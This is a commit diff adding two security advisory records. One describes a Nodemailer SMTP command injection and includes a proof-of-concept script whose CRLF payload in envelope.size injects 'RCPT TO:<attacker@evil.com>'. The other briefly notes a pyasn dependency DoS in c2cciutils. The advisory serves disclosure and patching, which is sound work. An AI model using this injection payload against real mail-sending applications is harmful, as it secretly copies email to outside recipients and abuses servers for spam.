Skip to content

Commit 5963a05

Browse files
1 parent 196513e commit 5963a05

File tree

2 files changed

+122
-0
lines changed

2 files changed

+122
-0
lines changed
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-c7w3-x93f-qmm8",
4+
"modified": "2026-03-26T22:26:46Z",
5+
"published": "2026-03-26T22:26:46Z",
6+
"aliases": [],
7+
"summary": "Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter",
8+
"details": "### Summary\nWhen a custom `envelope` object is passed to `sendMail()` with a `size` property containing CRLF characters (`\\r\\n`), the value is concatenated directly into the SMTP `MAIL FROM` command without sanitization. This allows injection of arbitrary SMTP commands, including `RCPT TO` — silently adding attacker-controlled recipients to outgoing emails.\n\n\n### Details\nIn `lib/smtp-connection/index.js` (lines 1161-1162), the `envelope.size` value is concatenated into the SMTP `MAIL FROM` command without any CRLF sanitization:\n\n```javascript\nif (this._envelope.size && this._supportedExtensions.includes('SIZE')) {\n args.push('SIZE=' + this._envelope.size);\n}\n```\n\nThis contrasts with other envelope parameters in the same function that ARE properly sanitized:\n- **Addresses** (`from`, `to`): validated for `[\\r\\n<>]` at lines 1107-1127\n- **DSN parameters** (`dsn.ret`, `dsn.envid`, `dsn.orcpt`): encoded via `encodeXText()` at lines 1167-1183\n\nThe `size` property reaches this code path through `MimeNode.setEnvelope()` in `lib/mime-node/index.js` (lines 854-858), which copies all non-standard envelope properties verbatim:\n\n```javascript\nconst standardFields = ['to', 'cc', 'bcc', 'from'];\nObject.keys(envelope).forEach(key => {\n if (!standardFields.includes(key)) {\n this._envelope[key] = envelope[key];\n }\n});\n```\n\nSince `_sendCommand()` writes the command string followed by `\\r\\n` to the raw TCP socket, a CRLF in the `size` value terminates the `MAIL FROM` command and starts a new SMTP command.\n\nNote: by default, Nodemailer constructs the envelope automatically from the message's `from`/`to` fields and does not include `size`. This vulnerability requires the application to explicitly pass a custom `envelope` object with a `size` property to `sendMail()`. \nWhile this limits the attack surface, applications that expose envelope configuration to users are affected.\n\n### PoC\nave the following as `poc.js` and run with `node poc.js`:\n\n```javascript\nconst net = require('net');\nconst nodemailer = require('nodemailer');\n\n// Minimal SMTP server that logs raw commands\nconst server = net.createServer(socket => {\n socket.write('220 localhost ESMTP\\r\\n');\n let buffer = '';\n socket.on('data', chunk => {\n buffer += chunk.toString();\n const lines = buffer.split('\\r\\n');\n buffer = lines.pop();\n for (const line of lines) {\n if (!line) continue;\n console.log('C:', line);\n if (line.startsWith('EHLO')) {\n socket.write('250-localhost\\r\\n250-SIZE 10485760\\r\\n250 OK\\r\\n');\n } else if (line.startsWith('MAIL FROM')) {\n socket.write('250 OK\\r\\n');\n } else if (line.startsWith('RCPT TO')) {\n socket.write('250 OK\\r\\n');\n } else if (line === 'DATA') {\n socket.write('354 Start\\r\\n');\n } else if (line === '.') {\n socket.write('250 OK\\r\\n');\n } else if (line.startsWith('QUIT')) {\n socket.write('221 Bye\\r\\n');\n socket.end();\n }\n }\n });\n});\n\nserver.listen(0, '127.0.0.1', () => {\n const port = server.address().port;\n console.log('SMTP server on port', port);\n console.log('Sending email with injected RCPT TO...\\n');\n\n const transporter = nodemailer.createTransport({\n host: '127.0.0.1',\n port,\n secure: false,\n tls: { rejectUnauthorized: false },\n });\n\n transporter.sendMail({\n from: 'sender@example.com',\n to: 'recipient@example.com',\n subject: 'Normal email',\n text: 'This is a normal email.',\n envelope: {\n from: 'sender@example.com',\n to: ['recipient@example.com'],\n size: '100\\r\\nRCPT TO:<attacker@evil.com>',\n },\n }, (err) => {\n if (err) console.error('Error:', err.message);\n console.log('\\nExpected output above:');\n console.log(' C: MAIL FROM:<sender@example.com> SIZE=100');\n console.log(' C: RCPT TO:<attacker@evil.com> <-- INJECTED');\n console.log(' C: RCPT TO:<recipient@example.com>');\n server.close();\n transporter.close();\n });\n});\n```\n\n**Expected output:**\n```\nSMTP server on port 12345\nSending email with injected RCPT TO...\n\nC: EHLO [127.0.0.1]\nC: MAIL FROM:<sender@example.com> SIZE=100\nC: RCPT TO:<attacker@evil.com>\nC: RCPT TO:<recipient@example.com>\nC: DATA\n...\nC: .\nC: QUIT\n```\n\nThe `RCPT TO:<attacker@evil.com>` line is injected by the CRLF in the `size` field, silently adding an extra recipient to the email.\n\n### Impact\nThis is an SMTP command injection vulnerability. An attacker who can influence the `envelope.size` property in a `sendMail()` call can:\n\n- **Silently add hidden recipients** to outgoing emails via injected `RCPT TO` commands, receiving copies of all emails sent through the affected transport\n- **Inject arbitrary SMTP commands** (e.g., `RSET`, additional `MAIL FROM` to send entirely separate emails through the server)\n- **Leverage the sending organization's SMTP server reputation** for spam or phishing delivery\n\nThe severity is mitigated by the fact that the `envelope` object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include `size`. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.\n\nAffected versions: at least v8.0.3 (current); likely all versions where `envelope.size` is supported.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "nodemailer"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "8.0.4"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-c7w3-x93f-qmm8"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/nodemailer/nodemailer/commit/2d7b9710e63555a1eb13d721296c51186d4b5651"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/nodemailer/nodemailer"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-93"
53+
],
54+
"severity": "LOW",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-03-26T22:26:46Z",
57+
"nvd_published_at": null
58+
}
59+
}
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-wcjx-v2wj-xg87",
4+
"modified": "2026-03-26T22:27:12Z",
5+
"published": "2026-03-26T22:27:12Z",
6+
"aliases": [],
7+
"summary": "C2C CI utils is vulnerable to DoS via pyasn dependency (CVE-2026-30922)",
8+
"details": "Pin vulnerable version of pyasn, see: See: https://github.com/advisories/GHSA-jr27-m4p2-rc6r",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "PyPI",
19+
"name": "c2cciutils"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "1.1.66"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "< 1.1.65"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/camptocamp/c2cciutils/security/advisories/GHSA-wcjx-v2wj-xg87"
43+
},
44+
{
45+
"type": "WEB",
46+
"url": "https://github.com/camptocamp/c2cciutils/commit/1ab415014817d7d1cf09ad56cc8a7dec2a1108d8"
47+
},
48+
{
49+
"type": "PACKAGE",
50+
"url": "https://github.com/camptocamp/c2cciutils"
51+
}
52+
],
53+
"database_specific": {
54+
"cwe_ids": [
55+
"CWE-1395",
56+
"CWE-674"
57+
],
58+
"severity": "HIGH",
59+
"github_reviewed": true,
60+
"github_reviewed_at": "2026-03-26T22:27:12Z",
61+
"nvd_published_at": null
62+
}
63+
}

0 commit comments

Comments
 (0)